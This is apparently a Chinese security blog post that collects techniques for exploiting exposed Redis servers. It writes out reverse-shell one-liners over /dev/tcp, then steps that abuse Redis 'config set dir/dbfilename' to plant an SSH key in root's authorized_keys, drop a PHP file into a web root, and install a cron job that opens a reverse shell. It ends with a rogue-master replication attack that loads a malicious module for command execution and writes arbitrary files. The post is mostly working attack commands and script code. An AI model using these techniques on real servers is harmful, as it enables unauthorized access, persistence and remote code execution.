redis利用整理

redis利用整理

Ubuntu

Ubuntu由于和CentOS的sh对应的软连接对象不同(Ubuntu sh软连接指向的dash,所以用bash反弹是报错的,CentOS中sh指向的是bash,所以可以成功)
用`dpkg-reconfigure去remove掉dash也可以修改sh的指向,但是在ubuntu中含有脏数据的cron是无法执行的,只能利用其他方法进行利用。

#ubuntu使用bash反弹shell需要修改sh的软连接对象
#方法1
echo no |  /usr/sbin/dpkg-reconfigure dash
bash -i >& /dev/tcp/127.0.0.1/7777 0>&1
#方法2
bash -c "bash -i  >&/dev/tcp/127.0.0.1/7777 0>&1"
#方法3
ln -s -f bash /bin/sh

image-20200602224723655

1、写入SSH公钥

redis-cli -h 127.0.0.1 config set dir /root/.ssh

redis-cli -h 127.0.0.1 config set dbfilename authorized_keys

echo "ssh-rsa AAAAB3Nxxxxxxxx9N9DI8FFs= xxxxxxxP.lan" > /tmp/attack

vim /tmp/attack #这个文件内容上下必须各有两个回车

cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack

redis-cli -h 127.0.0.1 save

image-20200604000102273

2、redis写入getshell

redis-cli -h 127.0.0.1 config set dir /www/wwwroot/default

redis-cli -h 127.0.0.1 config set dbfilename test.php

echo "<?php phpinfo();?>" > /tmp/php

vim /tmp/php #这个文件内容上下必须各有两个回车

cat /tmp/php | redis-cli -h 127.0.0.1 -x set php

redis-cli -h 127.0.0.1 save

image-20200604131532687

image-20200604131555301

CentOS

写入cron

CentOS的写入公钥和写shell过程和Ubuntu相同,这里就不再继续写了,这里就写以下cron利用写入

CentOS的cron路径有

/var/spool/cron/crontabs
/etc/cron.daily
/etc/cron.deny
/etc/cron.weekly
/etc/cron.monthly
/etc/cron.d
/etc/cron.hourly

redis-cli -h 127.0.0.1 config set dir /var/spool/cron

redis-cli -h 127.0.0.1 config set dbfilename root

echo "*/1 * * * * bash -i  >&/dev/tcp/127.0.0.1/7777 0>&1" > /tmp/attack

vim /tmp/attack  #这个文件内容上下必须各有两个回车

cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack

redis-cli -h 127.0.0.1 save

image-20200604154714013

redis主从复制rce

无损写入文件

image-20200604155818236

image-20200604161135902

设置好了redis主从复制

接下来就是编写恶意so文件

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

这里so我从这个项目编译,他实现了一个命令执行函数。

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRE SYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了。


最近看大哥发的一个博文中看到有人修改了原本的那个redis主从复制的脚本,实现了任意路基路径无损写入文件的功能,最开始还比较奇怪,脏数据怎么处理,后来想了下,最初的利用poc就已经是完整地传输的eval.so文件,那就代表其实不只是可以MODULE LOAD来加载函数,其实还可以直接无损写入文件/cron等。这里我演示就是在ubuntu的环境下,稍微修改了下利用so的LOAD脚本,实现了任意文件任意路径写入的功能。

ubuntu无损写入(win下同理随意写入)

看了下脚本,其实主要功能就在自己利用python建立了一个socket服务,然后利用目标的redis和本地伪造的服务建立主从复制,然后利用sync同步文件内容,这里面我需要修改项目是

https://github.com/vulhub/redis-rogue-getshell/blob/master/redis-master.py

 client.send([b'SLAVEOF', lhost, lport])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
    time.sleep(2)
    server.handle_request()
    time.sleep(2)

    client.send([b'MODULE', b'LOAD', b'./exp.so'])
    client.send([b'SLAVEOF', b'NO', b'ONE'])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
    resp = client.send([b'system.exec', command])
    print(decode_command_line(resp))

    client.send([b'MODULE', b'UNLOAD', b'system'])

修改后


    client.send([b'SLAVEOF', lhost, lport])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'aaaaaaaaaa'])
    client.send([b'CONFIG', b'SET', b'dir', b'/'])
    time.sleep(2)
    server.handle_request()
    time.sleep(2)
    client.send([b'SLAVEOF', b'NO', b'ONE'])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])

本地创建一个1.txt

txt内容是,字符多一些,查看是否会被脏数据污染。

testtesttesttesttest“!@#¥%%……&!@#$%^*( )"''"

创建伪造服务,连接对方,并读取本地1.txt内容发送过去。

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -f 1.txt 

image-20200605011116825

image-20200605011100135

可以看到文件传输是无损的。我把传输内容和命令打印出来了,可以看一下上图。

本文链接:

http://www.8sec.cc/index.php/archives/398/
1 + 4 =
快来做第一个评论的人吧~